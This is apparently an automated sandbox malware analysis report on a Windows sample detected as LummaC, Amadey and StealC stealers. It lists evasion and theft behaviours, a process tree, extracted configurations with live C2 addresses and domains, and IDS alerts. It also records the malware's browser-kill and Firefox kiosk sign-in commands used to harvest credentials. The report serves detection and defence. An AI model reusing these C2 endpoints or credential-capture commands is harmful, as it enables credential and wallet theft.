Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1545823
MD5:	b780913de1c9d2a04a8cb5ce458255cf
SHA1:	c9d6cb973eafac2763ed7ceff65ecda83729258e
SHA256:	15952521ff76d233a2a4ab1700dc4a27933d34bcd59a3f9525497a6acd768d1d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6996 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B780913DE1C9D2A04A8CB5CE458255CF)

CMI46CXL3718GGL9UBA.exe (PID: 2756 cmdline: "C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe" MD5: 69E939844ED586ED304E0C4D9DB0BFC4)

S39605Y99PQJP70DBWYAE5A.exe (PID: 2208 cmdline: "C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe" MD5: CE9CCBFD31B6577D91367151D511A931)

skotes.exe (PID: 2916 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: CE9CCBFD31B6577D91367151D511A931)

skotes.exe (PID: 7096 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: CE9CCBFD31B6577D91367151D511A931)

bd73c9fe1b.exe (PID: 1056 cmdline: "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe" MD5: B780913DE1C9D2A04A8CB5CE458255CF)

SLPBKPVSB544AP3LMUB.exe (PID: 5820 cmdline: "C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe" MD5: 69E939844ED586ED304E0C4D9DB0BFC4)

5EQND7K5L8HE276L.exe (PID: 736 cmdline: "C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe" MD5: CE9CCBFD31B6577D91367151D511A931)

b28f5af0b9.exe (PID: 2148 cmdline: "C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe" MD5: 1BD30BB80448545CC020F946EDA1D2F2)

f27afcd405.exe (PID: 1352 cmdline: "C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe" MD5: 1D861B36E55E04FBC04FF38B5D152A08)

taskkill.exe (PID: 908 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5088 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5344 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2996 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5552 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1460 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 5688 cmdline: "C:\Users\user\AppData\Local\Temp\1002787001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

bd73c9fe1b.exe (PID: 3992 cmdline: "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe" MD5: B780913DE1C9D2A04A8CB5CE458255CF)

firefox.exe (PID: 2664 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6148 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6860 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2256 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {282e8f47-e3e9-4c30-8f9f-bbd3739b8c96} 6148 "\\.\pipe\gecko-crash-server-pipe.6148" 295d4c69f10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3384 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4256 -parentBuildID 20230927232528 -prefsHandle 1524 -prefMapHandle 3964 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b04b7a86-ba51-4722-9e22-cfe6bd8623fe} 6148 "\\.\pipe\gecko-crash-server-pipe.6148" 295e5656610 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

b28f5af0b9.exe (PID: 7132 cmdline: "C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe" MD5: 1BD30BB80448545CC020F946EDA1D2F2)

f27afcd405.exe (PID: 5180 cmdline: "C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe" MD5: 1D861B36E55E04FBC04FF38B5D152A08)

taskkill.exe (PID: 4180 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2032 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5168 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3616 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1872 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3916 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3964 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6224 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2efdec49-002f-4730-b0e0-9b27dcd2796d} 3964 "\\.\pipe\gecko-crash-server-pipe.3964" 1b29bc70f10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 1516 cmdline: "C:\Users\user\AppData\Local\Temp\1002787001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

bd73c9fe1b.exe (PID: 6256 cmdline: "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe" MD5: B780913DE1C9D2A04A8CB5CE458255CF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["fadehairucw.store", "thumbystriw.store", "necklacedmny.store", "scriptyprefej.store", "crisiwarny.store", "presticitpo.store", "navygenerayk.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Temp\1002787001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000003.2459931933.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2672868739.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2618057573.00000000010FF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2604206292.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000000.2811806473.000000000022E000.00000002.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2634291184.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000003.2745547028.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001D.00000002.2770625069.00000000002C1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000000.2811751180.0000000000211000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.2682454468.000000000022E000.00000002.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001D.00000003.2678993762.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000007.00000003.2298754950.00000000049B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2136627208.0000000000151000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1760913746.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2581347390.000000000101E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.2518756456.0000000000B82000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2517380337.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.2772881272.000000000126B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2604824615.00000000010FD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2539631182.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2073578821.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000000.2662848375.000000000022E000.00000002.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.2681835070.0000000000211000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1716326309.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2580073228.00000000002C1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000025.00000002.2830777733.000000000022E000.00000002.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000020.00000002.2792577506.0000000000DB1000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000025.00000002.2830712627.0000000000211000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000003.2693167425.0000000001109000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000000.2662760119.0000000000211000.00000080.00000001.01000000.00000017.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2096375636.0000000004B50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.2114089520.0000000000921000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000003.2492196497.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6996	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6996	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6996	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: bd73c9fe1b.exe PID: 1056	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bd73c9fe1b.exe PID: 1056	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: b28f5af0b9.exe PID: 2148	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: b28f5af0b9.exe PID: 2148	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: bd73c9fe1b.exe PID: 3992	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: bd73c9fe1b.exe PID: 3992	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: bd73c9fe1b.exe PID: 3992	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: f27afcd405.exe PID: 1352	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: b28f5af0b9.exe PID: 7132	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: b28f5af0b9.exe PID: 7132	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: num.exe PID: 5688	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 5688	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: f27afcd405.exe PID: 5180	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: num.exe PID: 1516	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: num.exe PID: 1516	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 49 entries

Unpacked PEs

Source	Rule	Description	Author
30.2.num.exe.210000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
37.2.num.exe.210000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
5.2.S39605Y99PQJP70DBWYAE5A.exe.920000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.5EQND7K5L8HE276L.exe.db0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
37.0.num.exe.210000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
10.2.b28f5af0b9.exe.2c0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
29.2.b28f5af0b9.exe.2c0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
30.0.num.exe.210000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.skotes.exe.150000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 4 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7096, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bd73c9fe1b.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7096, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bd73c9fe1b.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:06:02.124089+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T05:06:03.113468+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T05:06:32.896204+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49743	188.114.97.3	443	TCP
2024-10-31T05:07:16.061085+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49844	188.114.97.3	443	TCP
2024-10-31T05:07:17.452718+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49857	188.114.97.3	443	TCP
2024-10-31T05:07:29.746084+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49931	188.114.97.3	443	TCP
2024-10-31T05:07:30.617424+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49939	188.114.97.3	443	TCP
2024-10-31T05:07:31.882789+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49949	188.114.97.3	443	TCP
2024-10-31T05:08:06.720644+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50066	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:06:02.124089+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T05:07:16.061085+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49844	188.114.97.3	443	TCP
2024-10-31T05:07:30.617424+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49939	188.114.97.3	443	TCP
2024-10-31T05:08:06.720644+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50066	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:06:03.113468+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T05:07:17.452718+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49857	188.114.97.3	443	TCP
2024-10-31T05:07:31.882789+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49949	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T05:06:01.327812+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T05:06:02.804466+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T05:06:03.947710+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T05:06:05.252786+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	188.114.97.3	443	TCP
2024-10-31T05:06:06.790541+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-31T05:06:08.371531+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T05:06:10.218514+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T05:06:32.465521+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49743	188.114.97.3	443	TCP
2024-10-31T05:07:15.561454+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49844	188.114.97.3	443	TCP
2024-10-31T05:07:16.740399+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49857	188.114.97.3	443	TCP
2024-10-31T05:07:18.367391+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49866	188.114.97.3	443	TCP
2024-10-31T05:07:19.921422+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49874	188.114.97.3	443	TCP
2024-10-31T05:07:22.080180+0100	2057124	1	Domain Observed Used for C2 Detected	192.168.2.4	49890	188.114.97.3	443	TCP
